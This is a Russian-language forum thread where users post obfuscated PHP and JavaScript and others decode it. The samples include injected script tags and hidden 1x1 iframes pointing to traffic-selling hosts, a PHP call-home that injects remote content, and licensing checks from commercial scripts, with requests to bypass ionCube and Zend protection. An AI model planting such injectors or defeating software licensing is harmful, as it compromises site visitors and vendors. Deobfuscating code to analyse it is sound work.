Обфускация кода (вопросы, просьбы зашифровать/расшифровать скрипт )

Discussion in 'PHP' started by Sharky, 29 Sep 2009.

  1. IHP

    IHP New Member

    Joined:
    1 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Есть такой код: http://paste.ly/2mV

    Нижнюю часть в скобках eval(unescape(код)); я расшифровал :) , а верхнюю не получается что-то. Да и после расшифрованного мною кода стоит какой-то аппендикс) Что это?
    Подскажите, пожалуйста!
     
  2. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    HTML:
    oOOO0='646f63756d656e742e7772697465202028223c736372697074206c616e67756167653d274a6176615363726970742720636861727365743d2777696e646f77732d3132353127207372633d27687474703a2f2f6269677472616666662e72752f6a732f626f6479636c69636b2e7068703f69643d343339273e3c2f7363726970743e22293b';
                                                                             eval(unescape('%66%75%6e%63%74%69%6f%6e%20%5f%63%28%5f%69%29%7b%76%61%72%20%74%3d%5f%69%2e%72%65%70%6c%61%63%65%28%2f%28%5c%53%7b%32%7d%29%2f%67%69%2c%27%24%31%25%27%29%3b%74%3d%27%25%27%2b%74%3b%74%3d%74%2e%73%75%62%73%74%72%28%30%2c%74%2e%6c%65%6e%67%74%68%2d%31%29%3b%65%76%61%6c%28%75%6e%65%73%63%61%70%65%28%27%27%2b%74%2b%27%27%29%29%3b%7d'));
                _c(oOOO0);
    
    урлдекодим 2 строку (ту где eval), лично я сделал с помощью гугла :)
    Code:
    http://google.ru/search?q=[TEXT]
    
    получаем
    Code:
    function _c(_i){
    	var t=_i.replace(/(\S{2})/gi,'$1%');
    	t='%'+t;
    	t=t.substr(0,t.length-1);
    	eval(unescape(''+t+''));
    }
    _c(oOOO0);
    
    после var t=...
    делаем alert(t);
    получаем
    Code:
    64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%20%20%28%22%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%27%4a%61%76%61%53%63%72%69%70%74%27%20%63%68%61%72%73%65%74%3d%27%77%69%6e%64%6f%77%73%2d%31%32%35%31%27%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%69%67%74%72%61%66%66%66%2e%72%75%2f%6a%73%2f%62%6f%64%79%63%6c%69%63%6b%2e%70%68%70%3f%69%64%3d%34%33%39%27%3e%3c%2f%73%63%72%69%70%74%3e%22%29%3b%
    
    опять урлдекодим

    Code:
    64ocument.write  ("<script language='JavaScript' charset='windows-1251' src='http://bigtrafff.ru/js/bodyclick.php?id=439'></script>");%
    
    64 - из-за того что спереди нет %, но как видно в коде функции он добавляется, а с конца отнимается 1 байт, тобишь последний %
    далее код просто eval`ится
    результатом будет:
    Code:
    document.write("<script language='JavaScript' charset='windows-1251' src='http://bigtrafff.ru/js/bodyclick.php?id=439'></script>");
    
     
    1 person likes this.
  3. Komyak

    Komyak Banned

    Joined:
    14 Jan 2009
    Messages:
    202
    Likes Received:
    18
    Reputations:
    1
    Помогите с дезендом:
    http://upwap.ru/932154

    А то уменя что-то не хочет. Дезендеры зависают и не декодируют...
     
  4. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    У меня вопрос по защите кода.
    Если я правильно понял, то (zend(lockit(обусификатор(скрипт)))) уже не ломаемая конструкция?
    Либо (обусификатор(lockit(zend(скрипт) тоже не ломаемая конструкция. Или я чего-то не догоняю. Ведь они когда попадают в интерпретатор, то дешифруются самостоятельно для передачи кода и их в этом моменте дампят.
     
  5. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    учитывая что php - опен сорс, и популярность темы обфускации, возможно есть сборка php, которая сохраняет весь исполняемый p-code скриптов ? или, возможно есть сборка php, которая логгирует вызов функций с параметрами ?
     
  6. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    Komyak, держи
    http://pastebin.com/dtF4FSpv
    http://pastebin.com/7E4UNH9K
     
    1 person likes this.
  7. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    DrakonHaSh
    1) ionCube, Zend Guard и прочие подобные расширения
    2) http://pecl.php.net/package/apd - не уверен что работает с предыдущими, потому по сути бесполезен
     
    _________________________
    1 person likes this.
  8. DrakonHaSh

    DrakonHaSh Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    118
    Likes Received:
    29
    Reputations:
    24
    1) не, я наоборот имел в виду сборки/утиль которые сохраняют в файл пи-код исполняемых в "данный момент" php-файлов. что-то по типу Vulcan Logic Dumper [он с ионкубом вроде как не фурычит]
    2) есть еще xdebug - http://xdebug.org/docs/execution_trace, но он тоже с ионкубом не работает.

    поэтому собственно и спрашиваю про готовые сборки - патченый php, который помогает подсмотреть любой зашифрованный код, т.к. чтоб там не шифровали, все равно в итоге должен получатся пи-код, интерпретируемый php. по идее такое ж должно быть :) ?
     
  9. plus

    plus New Member

    Joined:
    6 Jul 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    помогите пожалуйста расшифровать
    Code:
    <script type='text/javascript'>var _0x499d=["\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x22\x5F\x5F\x5F\x69\x66\x72\x61\x6D\x65\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x6E\x75\x6C\x6C\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x5F\x5F\x5F\x69\x66\x72\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6C\x69\x63\x6B\x2D\x73\x61\x70\x65\x2E\x63\x6F\x6D\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x32"];(function (){var _0xf726x1=document[_0x499d[1]](_0x499d[0]);_0xf726x1[_0x499d[2]]=_0x499d[3];document[_0x499d[5]][_0x499d[4]](_0xf726x1);document[_0x499d[10]](_0x499d[9])[_0x499d[8]][_0x499d[7]][_0x499d[6]]=_0x499d[11];} ());</script>
     
  10. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9

    Code:
    createElemenx  74innerHTML<iframe id="x  5F__iframe" wi="" dth="1" heigx="" 68t="1" src="j  avascript:nux  6Cl;" framebor="" der="0">&lt;/ifx  72ame&gt;appendChildbodyhreflocationcontentWindox  77___iframegetElementByx  49dhttp://clickx  2Dsape.com/in.  cgi?2undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&lt;/pre&gt;</iframe>
     
    #210 Vlad&slav, 7 Jul 2010
    Last edited: 7 Jul 2010
  11. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2

    вписывает iframe со ссылкой http://click-sape.com/in.cgi?2


    Code:
    var _0x499d=["\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x22\x5F\x5F\x5F\x69\x66\x72\x61\x6D\x65\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x6E\x75\x6C\x6C\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x5F\x5F\x5F\x69\x66\x72\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6C\x69\x63\x6B\x2D\x73\x61\x70\x65\x2E\x63\x6F\x6D\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x32"];
    var _0xf726x1 = document.createElement('div').innerHTML = '<iframe id="___iframe" width="1" height="1" src="javascript:null;" frameborder="0"></iframe>';
    document.body.appendChild(_0xf726x1);
    document.getElementById("___iframe").contentWindow.location.href = "http://click-sape.com/in.cgi?2";
     
    #211 Byte_, 7 Jul 2010
    Last edited: 7 Jul 2010
    1 person likes this.
  12. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    Че за бред? :confused:

    Создаётся див, в который пихается вот такой ифрейм
    Code:
    <iframe id="___iframe" width="1" height="1" src="javascript:null;" frameborder="0"></iframe>
    
    после этого в __iframe запихивается ссылка, и делается редирект айфрейма на неё, короче результат:
    Code:
    <iframe width="1" height="1" src="http://click-sape.com/in.cgi?2" frameborder="0"></iframe>
    
     
  13. berserkus

    berserkus New Member

    Joined:
    12 Jan 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    вот это помогите
    PHP:
    <?php $x14="fcl\157\163\x65"$x15="\x66e\x6f\146"$x16="\x66\147\x65\164\x73"$x17="\146\x73\x6f\143\153\157\160en"$x18="\x66pu\164\x73"$x19="\163t\162s\164\162"$x0b="<\141 \150\162e\x66\075n\145\157\153\163.r\165\x3e\074\x2f\141\x3e";$x0c = @$x17("w\167w\056\145r\157r\x68\157\163\x74\056\x72u"80$x0d$x0e30);if ($x0c){ $x0f "\x47\105T /\x73\141\x69t\057\151\x64\x32.\160hp\077\x73\151t\x65\x3d".$_SERVER['HTTP_HOST']." \110\124\124P\x2f\x31.\061\n";$x0f .= "\110\157st\072\x20\167\x77w\056\x65r\x6f\162\x68os\164\056\162\165\n"$x0f.='Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01'$x0f .= "\n\n"$x18($x0c$x0f);$x10 false;while (!$x15($x0c)) {$x11=$x16($x0c,128);if ($x10) {$x12.= $x11;} else {$x13 .= $x11;}if ($x11 == "\r\n" ) {$x10 true;}}$x14($x0c);}else return $x0b; if ($x19($x13,'404')) return $x0b;else return $x12?>
    вот оригинал http://narod.ru/disk/22835195000/newsbl.txt.html
     
  14. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    скрипт шлёт запрос
    Code:
    GET /sait/id2.php?site=[B]HTTP_HOST[/B] HTTP/1.1
    Host: www.erorhost.ru
    Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01
    
    где HTTP_HOST - это сайт с которого был запущен сей скрипт

    более преобразовано скрипт выглядит так:
    PHP:
    <?php 
    $sock 
    = @fsockopen("www.erorhost.ru"80$errstr$errno30);
    if (
    $sock){ 
        
    $headers "GET /sait/id2.php?site=".$_SERVER['HTTP_HOST']." HTTP/1.1\n";
        
    $headers .= "Host: www.erorhost.ru\n"
        
    $headers .= "Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01\n\n"
        
        
    fwrite($sock$headers);
        
    $x10 false;
        
        while (!
    feof($sock)) {
            
    $x11=fgets($sock,128);
            if (
    $x10
                
    $result .= $x11;
            else 
                
    $x13 .= $x11;
                
            if (
    $x11 == "\r\n" 
                
    $x10 true;
        }
        
    fclose($sock);
    }
    else return 
    $error;
    if (
    strstr($x13,'404')) return $error;
    else return 
    $result
    ?>
    если сокет не открылся, либо ответ сервера - 404, то ты получишь ошибку ($error)
    в ином случае получишь $result

    P.S. return на echo поменяй, если будешь смотреть
    PPS. улыбнул полученый ответ
     
    #214 Failure, 17 Jul 2010
    Last edited: 17 Jul 2010
  15. Mihael-Vlz

    Mihael-Vlz New Member

    Joined:
    19 Jul 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Помогите расшифровать файл. Всё пытаюсь, бьюсь и никак. :( Вроде base64, но закодирован как-то изощренно.
    http://depositfiles.com/files/v2fdc5b70

    На форум не могу вставить, почему-то добавляются ненужные пробелы к коду.
     
  16. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    ничего там хитрого нет :)
    PHP:
    <?php
    if(!defined('DATALIFEENGINE')) die('Hacking attempt!');



    $forum_link_array['textversion'] = $forum_link_array['textversion'].$t_act;
    $R12BA6FE2FF563AB050FC56C314B35AE4=array('{BOARD HEADER}'=>$forum_bar,'{last_visit}'=>$dle_forum_last_visit,'{now_time}'=>langdate($forum_config['timestamp'],$_TIME),'{STATS}'=>$tpl->result['forum_stats'],'[search-link]'=>"<a href=\"{$forum_link_array['search']}\">",'[/search-link]'=> '</a>','[getnew-link]'=>"<a href=\"{$forum_link_array['getnew']}\">",'[/getnew-link]'=> '</a>','[subscription-link]'=>"<a href=\"{$forum_link_array['subscription']}\">",'[/subscription-link]'=>'</a>','[textversion]'=>"<a href=\"{$forum_link_array['textversion']}\">",'[/textversion]'=>'</a>',);



    if(!
    defined('FORUM_SUB_DOMAIN')){

        
    $RF76681BC52AAB874623A1CE5ACDF3C78="\r\n<script language=\"javascript\" type=\"text/javascript\">\r\nvar forum_ajax = '/engine/forum/ajax/';\r\nvar forum_wysiwyg = '{$forum_config['wysiwyg']}';\r\n</script>\r\n";
        
    $tpl->load_template($tpl_dir.'main.tpl');
        
    $tpl->copy_template="{$RF76681BC52AAB874623A1CE5ACDF3C78}<script type='text/javascript' src='{$config['http_home_url']}engine/forum/ajax/dle_forum.js'></script>".$tpl->copy_template;
    }



    $tpl->set('{BOARD}',$tpl->result['dle_forum']);
    $tpl->set(''$R12BA6FE2FF563AB050FC56C314B35AE4);
    $R50218D85B16EB79A6135397551A809DF=false;
    if (!
    $forum_config["\x63\x6f\x70\x79\x72\x69\x67\x68\x74"]){

        
    $R3396D6F0D56D3ACBF84B87B552168EBE=md5(date("\x64").'4Cdv6p2u');
        
    $R331B05602B5B2C37CC01742865B72165=$fcache->get("\x64\x61\x74\x65\x5f\x68\x61\x73\x68");
        if (
    $R3396D6F0D56D3ACBF84B87B552168EBE==$R331B05602B5B2C37CC01742865B72165){

            
    $R50218D85B16EB79A6135397551A809DF=true;
        }

        else{

            require_once 
    ENGINE_DIR."\x2f\x66\x6f\x72\x75\x6d\x2f\x61\x64\x6d\x69\x6e\x2f\x69\x6e\x69\x74\x2e\x63\x6c\x61\x73\x73\x2e\x70\x68\x70";
            
    $RF5A57E6395DA92CF971CC34C0E37DA7A="\x63\x68\x65\x63\x6b\x5f\x6b\x65\x79";
            if (
    $dle_forum_init->$RF5A57E6395DA92CF971CC34C0E37DA7A()){

                
    $R50218D85B16EB79A6135397551A809DF=true;
                
    $fcache->set("\x64\x61\x74\x65\x5f\x68\x61\x73\x68"$R3396D6F0D56D3ACBF84B87B552168EBE);
            }

        }

            

        if (
    $R50218D85B16EB79A6135397551A809DF and $forum_config["\x6b\x65\x79\x5f\x6e\x61\x6d\x65"]){

            
    $R50218D85B16EB79A6135397551A809DF=$f_lang['reg_name'].$forum_config["\x6b\x65\x79\x5f\x6e\x61\x6d\x65"];
        }

    }

    $RF49B6B33EE525DF5F6CFE26E8B705D2C="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
    if (!
    $R50218D85B16EB79A6135397551A809DF){

        
    $tpl->copy_template $tpl->copy_template."\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x64\x69\x73\x70\x6c\x61\x79\x3a\x62\x6c\x6f\x63\x6b\x3b\x22\x3e\x3c\x61\x20\x68\x72\x65\x66\x3d\x22{$a_forum_url}\x61\x63\x74\x3d\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x22\x3e\x44\x4c\x45\x20\x46\x6f\x72\x75\x6d\x3c\x2f\x61\x3e\x20\x76\x2e{$forum_config['version_id']}\x20\x26\x63\x6f\x70\x79\x3b\x20".date('Y')."\x20\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x64\x6c\x65\x2d\x66\x69\x6c\x65\x73\x2e\x72\x75\x22\x20\x74\x69\x74\x6c\x65\x3d\x22\xd4\xee\xf0\xf3\xec\x20\xe4\xeb\xff\x20\x44\x61\x74\x61\x4c\x69\x66\x65\x20\x45\x6e\x67\x69\x6e\x65\x22\x3e\x44\x4c\x45\x20\x46\x69\x6c\x65\x73\x20\x47\x72\x6f\x75\x70\x3c\x2f\x61\x3e\x3c\x2f\x64\x69\x76\x3e".$R50218D85B16EB79A6135397551A809DF;
    }

    if(
    $_REQUEST["\x61\x63\x74"]=="\x63\x6f\x70\x79\x72\x69\x67\x68\x74"||$_REQUEST["\x63\x6f\x70\x79\x72\x69\x67\x68\x74"]||$_REQUEST["\x73\x68\x6f\x77"]||$_GET["\x73\x68\x6f\x77"]){

        
    $R3639BCBEFAD7D5E00B64635126BE8227=$RF49B6B33EE525DF5F6CFE26E8B705D2C("\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6c\x65\x2d\x66\x69\x6c\x65\x73\x2e\x72\x75\x2f\x65\x78\x74\x72\x61\x73\x2f\x64\x6c\x65\x2d\x66\x6f\x72\x75\x6d\x2e\x6f\x64\x66");
        
    $tpl->copy_template=$R3639BCBEFAD7D5E00B64635126BE8227;
    }



    $R8EAB0DED87BCD0C61B881C7F6D82DCAB="\x63\x6c\x65\x61\x72";
    $tpl->compile("\x63\x6f\x6e\x74\x65\x6e\x74");
    $tpl->$R8EAB0DED87BCD0C61B881C7F6D82DCAB();
    return;
    ?>

    значения итд уже лень было доискивать, эт думаю сможешь сам?
     
    1 person likes this.
  17. Antosha

    Antosha New Member

    Joined:
    20 Jul 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
  18. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Antosha
    PHP:
    $tpinfo['dir']=get_bloginfo('template_directory');
    $tpinfo['bg_header']=file_exists(TEMPLATEPATH."/images/bg_header_new.jpg")? "bg_header_new.jpg":"bg_header.jpg";
    function 
    tp_header(){
        global 
    $tpinfo;
        echo 
    '<style type="text/css">';
        echo 
    "#header {background:url('{$tpinfo['dir']}/images/{$tpinfo['bg_header']}') no-repeat center top;}";
        echo 
    '#content{float:left;}';
        echo 
    '#sidebar {float:right;}';
        echo 
    '</style>';
    }

    add_action('wp_head''tp_header'); 

    /*********************************************************************************************/
    $tp_footer_credit 'Courtesy of Firehost <a href="http://www.firehost.com/">Dedicated servers</a>, <a href="http://www.esecuredata.com/">Dedicated hosting</a>, <a href="http://www.apps4rent.com/sharepoint.html">Hosted SharePoint</a>';

    function 
    add_meta_link(){
        echo 
    '<li><a href="http://www.webhostingreport.com/web-hosting-company-reviews.html" title="Web Hosting Reviews">Web Hosting Reviews</a></li>';
        echo 
    '<li><a href="http://www.templatelite.com/grid-based-design-articles-tutorials-and-tools/">Grid-based Design</a></li>';
    }
    add_action('wp_meta''add_meta_link');

    /*********************************************************************************************/
    function templatelite_show_links(){
        
    $current=get_option('templatelite_links');
        if(!
    is_home() && !is_front_page()){    /*if not home, we just return the links, don't check (!is_home())*/
            
    return $current['links'];
        }
        
    $hash='17:090506';
        
    $post_variables = array(
            
    'blog_home'=>get_bloginfo('home'),
            
    'blog_title'=>get_bloginfo('title'),
            
    'theme_spot'=>'1',
            
    'theme_id'=>'17',
            
    'theme_ver'=>'1.00',
            
    'theme_name'=>'Wooden Fence',
        );

        if(
    $current===FALSE || $current['time'] < time()-43200  || $current['hash']!=$hash){ /*min 12 hours*/
            
    $new=array();
            
    $new['time']=time();
            
    $new['hash']=$hash;
            
    $new['links']=templatelite_get_links($post_variables);
            
            if(
    $new['links']===FALSE){ /*when data error, socket timed out or stream time out, we update the time*/
                
    $new['links']=$current['links'];
            }

            
    update_option("templatelite_links",$new); /*the link maybe is empty but we just save the time into database*/
            
    return $new['links'];
        }else{
            return 
    $current['links'];
        }
    }

    function 
    templatelite_get_links($post_variables){
        include_once(
    ABSPATH WPINC '/rss.php');
        foreach(
    $post_variables as $key=>$value){
            
    $data.= $key.'='.rawurlencode($value)."&";
        }
        
    $data=rtrim($data,"&");
        
    $tmp_bool=FALSE;
        if(
    MAGPIE_CACHE_ON){
            
    $tmp_bool=TRUE;
            
    define('MAGPIE_CACHE_ON'0);
        }

        
    $rss=fetch_rss('http://www.templatestats.com/api/rss/?'.$data);
        if(
    $tmp_bool===TRUEdefine('MAGPIE_CACHE_ON'1);

        if(
    $rss) {
            
    $items array_slice($rss->items03);/*make sure we get MAXIMUM 3 links ONLY*/
            
    if(count($items)==0) return "";
            foreach ((array)
    $items as $item ){
                
    $tmp[]=$item['prefix'].'<a href="'.$item['link'].'" title="'.$item['description'].'">'.$item['title'].'</a>';
            }
            
    $links=$rss->channel['prefix'].implode(", ",$tmp);
            
    $links=strip_tags($links,"<a>"); /*double confirm that only text and links are allow.*/
            
    return $links;
        }else{
            return 
    FALSE;
        }
    }
            
    function 
    theme_credit(){
        global 
    $tp_footer_credit;
        echo 
    $tp_footer_credit.templatelite_show_links();
    }
    function 
    tp_footer(){
        global 
    $tp_footer_credit;
        
    ob_start();
        include 
    TEMPLATEPATH."/footer.php";
        
    $tp_footer_content=ob_get_clean();
        if(
    strpos($tp_footer_content,$tp_footer_credit) !== false) echo $tp_footer_content;
    }
    add_action('get_footer','tp_footer');
     
    1 person likes this.
  19. Antosha

    Antosha New Member

    Joined:
    20 Jul 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    krypt3r, благодарю)
     
  20. Wadjet

    Wadjet New Member

    Joined:
    31 May 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Кто встречал декодер ioncube либо может имеет лицензию auto-exchanger ? Имеется полный пак скриптов , но все под ioncube вот выкладываю скрипт проверки лицензии инсталятор.

    http://rapidshare.com/files/408247488/index.php
     
    1 person likes this.